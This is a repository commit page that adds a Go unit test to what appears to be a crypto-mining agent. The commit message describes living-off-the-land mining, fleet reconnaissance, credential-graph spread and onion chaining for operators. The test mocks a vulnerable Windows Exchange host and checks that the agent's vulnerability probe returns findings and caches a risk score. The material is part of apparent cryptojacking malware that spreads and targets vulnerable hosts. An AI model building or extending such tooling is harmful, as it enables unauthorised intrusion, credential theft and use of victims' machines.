Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
32
agent/client/vuln_scan_test.go
Normal file
32
agent/client/vuln_scan_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
)
|
||||
|
||||
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
defer SetPostureCollector(nil)
|
||||
|
||||
origProbe := vulnprobeProbeHost
|
||||
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
|
||||
return vulnprobe.HostContext{
|
||||
Platform: "windows",
|
||||
ExchangeInstalled: true,
|
||||
LastPatchDays: 150,
|
||||
ListeningPorts: map[int]bool{443: true},
|
||||
}
|
||||
}
|
||||
defer func() { vulnprobeProbeHost = origProbe }()
|
||||
|
||||
report := RunVulnLOTLProbe()
|
||||
if report == nil || len(report.Findings) == 0 {
|
||||
t.Fatal("expected vuln findings from mocked probe")
|
||||
}
|
||||
cached := LastVulnScan()
|
||||
if cached == nil || cached.RiskScore != report.RiskScore {
|
||||
t.Fatalf("cache mismatch: %+v vs %+v", cached, report)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user